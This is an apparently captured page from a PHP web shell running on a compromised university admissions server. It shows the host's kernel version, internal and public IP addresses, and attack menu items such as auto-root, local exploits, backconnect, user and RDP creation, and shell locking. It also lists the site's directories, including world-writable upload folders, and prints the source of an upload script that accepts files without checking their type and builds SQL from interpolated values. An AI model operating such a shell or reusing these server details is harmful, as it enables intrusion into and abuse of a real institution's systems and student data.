Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.149.254.229
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
bcu /
[ HOME SHELL ]
Name
Size
Permission
Action
20200112
[ DIR ]
drwxr-xr-x
20200315
[ DIR ]
drwxr-xr-x
ExcelWriterXML
[ DIR ]
drwxr-xr-x
Excel_Writer
[ DIR ]
drwxr-xr-x
Excel_reader
[ DIR ]
drwxr-xr-x
JQGrid3.5
[ DIR ]
drwxr-xr-x
PHPExcel
[ DIR ]
drwxr-xr-x
PHPExcel_wait
[ DIR ]
drwxr-xr-x
Paytm
[ DIR ]
drwxr-xr-x
Report_details
[ DIR ]
drwxr-xr-x
adm
[ DIR ]
drwxr-xr-x
adm_old
[ DIR ]
drwxr-xr-x
admupload
[ DIR ]
drwxrwxrwx
axis
[ DIR ]
drwxr-xr-x
certificates
[ DIR ]
drwxrwxrwx
css
[ DIR ]
drwxr-xr-x
css_11092018
[ DIR ]
drwxr-xr-x
cssold
[ DIR ]
drwxr-xr-x
custom_js
[ DIR ]
drwxr-xr-x
custom_src
[ DIR ]
drwxr-xr-x
docs
[ DIR ]
drwxr-xr-x
docverify
[ DIR ]
drwxr-xr-x
easy_zip
[ DIR ]
drwxr-xr-x
gradlist
[ DIR ]
drwxr-xr-x
grid
[ DIR ]
drwxr-xr-x
grid_display_files
[ DIR ]
drwxr-xr-x
gridsrch
[ DIR ]
drwxr-xr-x
halltickets
[ DIR ]
drwxrwxr-x
hdfc
[ DIR ]
drwxr-xr-x
html_modules
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
imported_files
[ DIR ]
drwxrwxrwx
includes
[ DIR ]
drwxr-xr-x
jqGrid4
[ DIR ]
drwxr-xr-x
jqgridn3.5
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
libgd-gd-2.2.3
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
maya-pdf
[ DIR ]
drwxr-xr-x
misc_files
[ DIR ]
drwxrwxrwx
notification
[ DIR ]
drwxrwxrwx
orms_stop
[ DIR ]
drwxrwxr-x
phd_merit_list
[ DIR ]
drwxr-xr-x
phdadm
[ DIR ]
drwxr-xr-x
phdomr
[ DIR ]
drwxr-xr-x
popups
[ DIR ]
drwxr-xr-x
razorpay
[ DIR ]
drwxr-xr-x
razorpay-webhook
[ DIR ]
drwxr-xr-x
results
[ DIR ]
drwxr-xr-x
schema
[ DIR ]
drwxr-xr-x
src
[ DIR ]
drwxr-xr-x
student_photos
[ DIR ]
drwxrwxrwx
tarka_pdf
[ DIR ]
drwxr-xr-x
tarka_pdf_latest
[ DIR ]
drwxr-xr-x
tcpdf
[ DIR ]
drwxr-xr-x
teacher_photos
[ DIR ]
drwxrwxrwx
tempphotos
[ DIR ]
drwxr-xr-x
timetable
[ DIR ]
drwxr-xr-x
tmpphotos
[ DIR ]
drwxrwxrwx
upload
[ DIR ]
drwxrwxrwx
Acceptance Form.pdf
185.13
KB
-rwxr-xr-x
Appointment of chief Superinte...
829.94
KB
-rwxr-xr-x
BCU_English_Text_Books_Prescri...
4.68
KB
-rwxr-xr-x
BCU_English_Text_Books_Prescri...
3.17
KB
-rwxr-xr-x
Chief Superintendent.pdf
338.21
KB
-rwxr-xr-x
ChromeSetup.exe
1.08
MB
-rwxr-xr-x
Extract.pdf
204.47
KB
-rwxr-xr-x
Firefox Setup 3.6.4.exe
307.03
KB
-rwxr-xr-x
MainPage.html
16.14
KB
-rwxr-xr-x
MainPagepopup.html
7.05
KB
-rwxr-xr-x
Thumbs.db
464
KB
-rwxr-xr-x
UG-RES-PRESS-NOTE.pdf
378.72
KB
-rwxr-xr-x
VALUERS Appointment.pdf
217.25
KB
-rwxr-xr-x
admStatistics.php
5.5
KB
-rwxr-xr-x
admStatisticstot.php
4.72
KB
-rwxr-xr-x
admcollsum.php
6.76
KB
-rwxr-xr-x
admcollsum_bed.php
6.9
KB
-rwxr-xr-x
admcollsum_college.php
5
KB
-rwxr-xr-x
admcollsum_pg.php
6.89
KB
-rwxr-xr-x
admcollsum_ug.php
6.92
KB
-rwxr-xr-x
admdatasummary.html
2.78
KB
-rwxr-xr-x
admuploadexsheet.php
7.89
KB
-rwxr-xr-x
app.php
416
B
-rwxr-xr-x
appPaymentDet.php
5.7
KB
-rwxr-xr-x
appPaymentDetAPI.php
5.99
KB
-rwxr-xr-x
appdownlaodsum.php
6.25
KB
-rwxr-xr-x
appointment of sit-in-squad.pd...
684.04
KB
-rwxr-xr-x
axis_response.php
5.62
KB
-rwxr-xr-x
bcu pg centre 2018-2.pdf
235.42
KB
-rwxr-xr-x
bundle slip reforms.pdf
315.92
KB
-rwxr-xr-x
cconfig.php
1.39
KB
-rwxr-xr-x
cconfig_32.php
1.06
KB
-rwxr-xr-x
cntrmesage.html
2.8
KB
-rwxr-xr-x
collection_of_question_paper.j...
112.22
KB
-rwxr-xr-x
collegeInfoPopup.html
4.65
KB
-rwxr-xr-x
docverify.php
824
B
-rwxr-xr-x
examinfo.html
5.24
KB
-rwxr-xr-x
exattendance.php
4.76
KB
-rwxr-xr-x
flash.html
2.15
KB
-rwxr-xr-x
getAppDetAPI.php
2.79
KB
-rwxr-xr-x
getQPdet.php
5.11
KB
-rwxr-xr-x
getQPdetbcu.php
4.77
KB
-rwxr-xr-x
getStudDetAPI.php
1.54
KB
-rwxr-xr-x
getsubqpdet.php
2.63
KB
-rwxr-xr-x
hdfc.png
3.12
KB
-rwxr-xr-x
homepage.html
3.35
KB
-rwxr-xr-x
htcollsum.php
6.25
KB
-rwxr-xr-x
htdegreesum.php
4.93
KB
-rwxr-xr-x
htsum.php
3.59
KB
-rwxr-xr-x
index.php
80
B
-rwxr-xr-x
index_need_tobecheked.php
78
B
-rwxr-xr-x
index_wait.html
5.98
KB
-rwxr-xr-x
indexlogin_wait.html
5.96
KB
-rwxr-xr-x
mcverifydet.php
14.83
KB
-rwxr-xr-x
mverifytranscript.php
14.62
KB
-rwxr-xr-x
paytm_res.php
5.87
KB
-rwxr-xr-x
paytm_res_02112019.php
4.17
KB
-rwxr-xr-x
paytm_res_new.php
6.53
KB
-rwxr-xr-x
pgResponse.php
7.11
KB
-rwxr-xr-x
pget_summary.php
6.5
KB
-rwxr-xr-x
phddegsum.php
2.86
KB
-rwxr-xr-x
phdmeritlist.php
2.71
KB
-rwxr-xr-x
phdstudentSum.php
2.68
KB
-rwxr-xr-x
postoffice.php
4.33
KB
-rwxr-xr-x
regnpage.html
11.32
KB
-rwxr-xr-x
report_admission_ticket.php
27.37
KB
-rwxr-xr-x
rv_update.php
1.4
KB
-rwxr-xr-x
sendsmsapi.php
814
B
-rwxr-xr-x
subqp.php
8.6
KB
-rwxr-xr-x
superLog-in.html
6.2
KB
-rwxr-xr-x
timetable.php
2.87
KB
-rwxr-xr-x
valdet.php
8.53
KB
-rwxr-xr-x
valdetbcu.php
7.62
KB
-rwxr-xr-x
valuation.html
2.49
KB
-rwxr-xr-x
verification.php
2.68
KB
-rwxr-xr-x
verify.php
7.04
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : admuploadexsheet.php
<?php function replaceChars($name) { $spl_char = array("*","/","~","!","@","#","$","%","^","&",":",";","?","/","\\","_","-","'"," ",""); $link_name = strtolower(str_replace($spl_char,"_",$name)); return str_ireplace("__","_",$link_name); } function admuploadexeclsheet($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); require_once dirname(__FILE__) . '/../PHPExcel/Classes/PHPExcel/IOFactory.php'; $date = date("dmYhis"); $collcode = $_SESSION['collcode']; $file_name=replaceChars(basename($_FILES['admuploadsheet']['name'])); $path_arr=pathinfo($_FILES['admuploadsheet']['name']); $file_ext=$path_arr['extension']; //var_dump($file_ext); $folderpath = $aobj_context->main_src."/admupload/"; $temp_path = $aobj_context->main_src."/admupload/"; if(!file_exists($temp_path)) { mkdir($temp_path); } $file_path="/{$collcode}_{$date}_{$file_name}"; $temp_path.=$file_path; if($collcode == '') { $data = "Please login and try again"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } if(isset($_FILES['admuploadsheet']['name']) && $_FILES['admuploadsheet']['name'] != '') { $size=($_FILES['admuploadsheet']['size']/1024); if($size>1024) { $data="Please Upload the Photo of size less than 1 MB"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-2,"failure"); return; } if(move_uploaded_file($_FILES['admuploadsheet']['tmp_name'],$temp_path)) { $data="admupload{$file_path}"; $query = "insert into admfile(fcollcode,ffilename,fuploadtime) value ('{$collcode}','{$data}',now())"; $results = $aobj_context->mobj_db->Execute($query); if(!$results) { $data = "Upload failure. Error inserting uploaded file"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } if(!file_exists($temp_path)) { $data = "Upload failure. Upload file does not exist"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } $inputFileName = $temp_path; $inputFileType = 'Excel2007'; /////////////////////Code To convert xlsx to csv \\\\\\\\\\\\\ $objReader = PHPExcel_IOFactory::createReader($inputFileType); $objPHPExcelReader = $objReader->load($inputFileName); $loadedSheetNames = $objPHPExcelReader->getSheetNames(); $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcelReader, 'CSV'); var_dump($loadedSheetNames); die(); foreach($loadedSheetNames as $sheetIndex => $loadedSheetName) { $objWriter->setSheetIndex($sheetIndex); $csvFile = $folderpath.$date.$loadedSheetName.'.csv'; $objWriter->save($csvFile); $query = "LOAD DATA LOCAL INFILE '{$csvFile}' INTO TABLE tmpcollstud FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '\"' LINES TERMINATED BY '\r\n' IGNORE 1 LINES (@col1,@col2,@col3,@col4,@col5,@col6) set fslno=@col1, fcollcode=@col2, fdegree=@col3, fname=@col4, fmobileno=@col5, femail=@col6"; $results = $aobj_context->mobj_db->Execute($query); var_dump($results); die(); if(!$results) { $data = "Upload failure. Error while loading excel data to database"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } $query = "delete from tmpcollstud where fcollcode = '' or fdegree = '' or fname = '' "; $results = $aobj_context->mobj_db->Execute($query); $query = "select distinct fdegree from tmpcollstud where fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T' and fdegree in (select distinct fdegree from degree)"; $results = $aobj_context->mobj_db->GetAll($query); if(count($results) == 0) { $query = "delete from tmpcollstud where ifnull(fimported,'') <> 'T' and fcollcode = '{$collcode}'"; // var_dump($query); $results = $aobj_context->mobj_db->GetAll($query); $data = "Upload failure. Invalid degree codes"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } $query = "update tmpcollstud set fimported = 'F' where ifnull(fimported,'') = ''"; $results = $aobj_context->mobj_db->Execute($query); // insert records with no mobile number to collstudnb $query = "insert into collstudnb(fslno, fcollcode, fdegree, fmobileno, femail, fname) select fslno, fcollcode, fdegree, fmobileno, femail, fname from tmpcollstud where replace(ifnull(tmpcollstud.fmobileno,''),' ','') = '' and fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // delete records in temp table with no mobilenumber $query = "delete from tmpcollstud where replace(ifnull(tmpcollstud.fmobileno,''),' ','') = '' and fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // check for duplicates in the file uploading $query = "insert into tmpcollstuddup select fmobileno, count(fmobileno) as fcnt from tmpcollstud where fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T' group by fmobileno having count(fmobileno) > 1"; $results = $aobj_context->mobj_db->Execute($query); // identify duplicates in file uploading $query = "update tmpcollstud a, tmpcollstuddup b set a.fdeleted = 'X' where a.fmobileno = b.fmobileno and a.fcollcode = '{$collcode}' and ifnull(a.fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // insert duplicate records of that college to collstuddup $query = "insert into collstuddup select * from tmpcollstud where fdeleted = 'X' and fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // delete duplicates in temp table $query = "delete from tmpcollstud where fdeleted = 'X' and fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // identify dulicates with previous inserted records (other than currently uploading college) $query = "update tmpcollstud, collstud set tmpcollstud.fdeleted = 'X' where collstud.fmobileno = tmpcollstud.fmobileno and collstud.fcollcode <> tmpcollstud.fcollcode and replace(ifnull(tmpcollstud.fmobileno,''),' ','') <> '' and tmpcollstud.fcollcode = '{$collcode}' and ifnull(tmpcollstud.fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // insert duplicates to collstuddup $query = "insert into collstuddup select * from tmpcollstud where fdeleted = 'X' and fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // identify duplicate records (overall) $query = "update tmpcollstud, collstud set tmpcollstud.fdeleted = 'X' where collstud.fmobileno = tmpcollstud.fmobileno and replace(ifnull(tmpcollstud.fmobileno,''),' ','') <> '' and tmpcollstud.fcollcode = '{$collcode}' and ifnull(tmpcollstud.fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // delete duplicate records in temp table $query = "delete from tmpcollstud where fdeleted = 'X' and fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // insert remaining records to collstud $query = "insert into collstud(fslno, fcollcode, fdegree, fmobileno, femail, fname, fimpdate) select fslno, fcollcode, fdegree, fmobileno, femail, fname, fimpdate from tmpcollstud where fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); // Update records as imported $query = "update tmpcollstud set fimported = 'T' where fcollcode = '{$collcode}' and ifnull(fimported,'') <> 'T'"; $results = $aobj_context->mobj_db->Execute($query); } $data = "Uploaded Successfully."; echo $aobj_context->mobj_output->ToJSONEnvelope($data,0,"success"); return; } } } ?>
Close